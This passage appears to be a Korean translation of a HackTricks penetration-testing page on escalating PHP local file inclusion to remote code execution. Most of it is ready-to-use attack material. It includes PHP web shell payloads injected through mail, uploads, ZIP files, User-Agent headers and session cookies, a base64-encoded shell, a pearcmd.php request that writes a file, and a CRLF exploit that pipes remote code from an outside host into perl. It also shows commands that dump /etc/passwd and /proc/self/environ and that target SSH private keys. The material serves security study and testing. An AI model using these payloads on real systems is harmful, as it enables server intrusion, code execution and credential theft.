본문이 Base64이면 디코딩한 다음 캡처된 token을 재전송하세요:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

노트:

  • URLs의 tokens는 기본적으로 로그에 남습니다; production 시스템에서는 bearer tokens를 GET으로 절대 받지 마세요.
  • 앱이 여러 token 이름을 지원하면 AuthenticationToken, token, sid, access_token 같은 일반적인 키를 검색하세요.
  • logs에 leaked되었을 가능성이 있는 tokens는 반드시 rotate하세요.

이메일을 통해

메일 전송: 내부 계정 (user@localhost)으로 PHP payload인 <?php echo system($_REQUEST["cmd"]); ?> 를 포함한 메일을 보내고 사용자의 메일을 /var/mail/<USERNAME> 또는 /var/spool/mail/<USERNAME> 같은 경로로 include 해보세요.

/proc//fd/ 경로 이용

  1. 많은 shells를 업로드하세요 (예: 100)
  2. 다음을 include하세요: http://example.com/index.php?page=/proc/$PID/fd/$FD, 여기서 $PID = 프로세스의 PID (can be brute forced)이고 $FD는 file descriptor (can be brute forced too)

/proc/self/environ 이용

로그 파일처럼, payload를 User-Agent에 넣어 전송하면 /proc/self/environ 파일 안에 반영됩니다.

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

업로드를 통해

파일을 업로드할 수 있다면, 해당 파일에 shell payload를 주입하세요(예: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

파일을 읽기 쉽게 유지하려면 사진/문서/pdf의 메타데이터에 주입하는 것이 가장 좋습니다

ZIP 파일 업로드

PHP shell이 압축된 ZIP 파일을 업로드하고 접근:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP sessions을 통해

웹사이트가 PHP Session (PHPSESSID)을 사용하는지 확인하세요.

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP에서는 이 세션들이 /var/lib/php5/sess\[PHPSESSID]_ 파일에 저장됩니다

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

쿠키를 <?php system('cat /etc/passwd');?>로 설정하세요

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFI를 사용하여 PHP 세션 파일을 포함하세요

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

ssh를 통해

ssh가 활성화되어 있다면 어떤 사용자가 사용 중인지 (/proc/self/status & /etc/passwd) 확인하고 <HOME>/.ssh/id_rsa에 접근해 보세요.

를 통해 vsftpd 로그

vsftpd FTP 서버의 로그는 _/var/log/vsftpd.log_에 위치합니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 경우, 다음 절차를 고려할 수 있습니다:

  1. 로그인 과정에서 username 필드에 PHP 페이로드를 주입합니다.
  2. 주입 후 LFI를 이용해 서버 로그 _/var/log/vsftpd.log_를 가져옵니다.

php base64 filter를 통한 방법 (base64 사용)

As shown in this article, PHP base64 filter just ignore Non-base64. 이것을 이용해 파일 확장자 검사(file extension check)를 우회할 수 있습니다: 만약 “.php“로 끝나는 base64를 공급하면, filter는 “.“을 무시하고 base64 뒤에 “php“를 붙입니다. 예시 페이로드는 다음과 같습니다:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

php filters를 통한 방법 (파일 필요 없음)

This writeup php filters to generate arbitrary content를 사용해 출력을 임의의 콘텐츠로 생성할 수 있다고 설명합니다. 즉, include에 사용할 generate arbitrary php code를 파일에 without needing to write 하지 않고도 생성할 수 있다는 뜻입니다.

LFI2RCE via PHP Filters

segmentation fault를 통한 방법

업로드한 파일이 /tmp임시로 저장된 다음, 같은 요청에서 segmentation fault를 유발하면 그 임시 파일이 삭제되지 않음 상태가 되어 파일을 찾을 수 있습니다.

LFI2RCE via Segmentation Fault

Nginx temp file storage를 통한 방법

만약 Local File Inclusion을 찾았고 Nginx가 PHP 앞에서 동작 중이라면 다음 기법으로 RCE를 얻을 수 있습니다:

LFI2RCE via Nginx temp files

PHP_SESSION_UPLOAD_PROGRESS를 통한 방법

만약 Local File Inclusion을 발견했는데 세션이 없고 session.auto_startOff인 경우에도, **PHP_SESSION_UPLOAD_PROGRESS**를 multipart POST 데이터로 제공하면 PHP가 세션을 활성화합니다. 이를 악용해 RCE를 얻을 수 있습니다:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Windows의 temp file uploads를 통한 방법

만약 Local File Inclusion을 찾았고 서버가 Windows에서 동작 중이라면 RCE를 얻을 수 있습니다:

LFI2RCE Via temp file uploads

pearcmd.php + URL args를 통한 방법

As explained in this post, 스크립트 /usr/local/lib/phppearcmd.php는 php docker 이미지에 기본으로 존재합니다. 또한 URL 매개변수에 =가 없으면 그 값을 인수로 사용하도록 되어 있어, URL을 통해 스크립트에 인수를 전달할 수 있습니다. 관련 내용은 watchTowr’s write-upOrange Tsai’s “Confusion Attacks”도 참고하세요.

다음 요청은 내용이 <?=phpinfo()?>인 파일을 /tmp/hello.php에 생성합니다:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

다음은 CRLF vuln을 악용해 RCE를 얻는 방법입니다 (출처: here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

phpinfo() (file_uploads = on)을 통해

만약 Local File Inclusion를 발견했고 **phpinfo()**를 노출하는 파일의 file_uploads = on 설정을 확인했다면 RCE를 얻을 수 있습니다:

LFI2RCE via phpinfo()

compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure를 통해

만약 Local File Inclusion를 발견했고 임시 파일의 path를 exfiltrate할 수 있는데, 그러나 server가 포함될 파일에 PHP marks가 있는지 checking하고 있다면, 이 Race Condition으로 그 검사를 bypass해볼 수 있습니다:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

eternal waiting + bruteforce를 통해

LFI를 악용해 upload temporary files를 만들고 server가 PHP 실행을 hang하게 할 수 있다면, 수시간에 걸쳐 파일명을 brute force하여 임시 파일을 찾을 수 있습니다:

LFI2RCE via Eternal waiting

Fatal Error 발생

다음 파일들 중 하나를 포함하면: /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (해당 오류를 발생시키려면 같은 파일을 두 번 포함해야 합니다.)

이게 어떻게 유용한지는 모르겠지만, 가능성은 있습니다.
PHP Fatal Error를 일으키더라도 업로드된 PHP 임시 파일은 삭제됩니다.

클라이언트에서 traversal 시퀀스 유지

일부 HTTP 클라이언트는 요청이 server에 도달하기 전에 ../를 정규화하거나 축약하여 directory traversal 페이로드를 깨뜨립니다. 사용자 제어 파일명을 연결하는 log/download 엔드포인트를 악용할 때 traversal을 그대로 유지하려면 curl --path-as-is를 사용하고, /proc 같은 pseudo-files를 위해 --ignore-content-length를 추가하세요:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

의도된 디렉토리에서 벗어날 때까지 ../ 세그먼트의 개수를 조정한 다음, /etc/passwd, /proc/self/cwd/app.py 또는 다른 소스/설정 파일을 덤프합니다.

참조

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기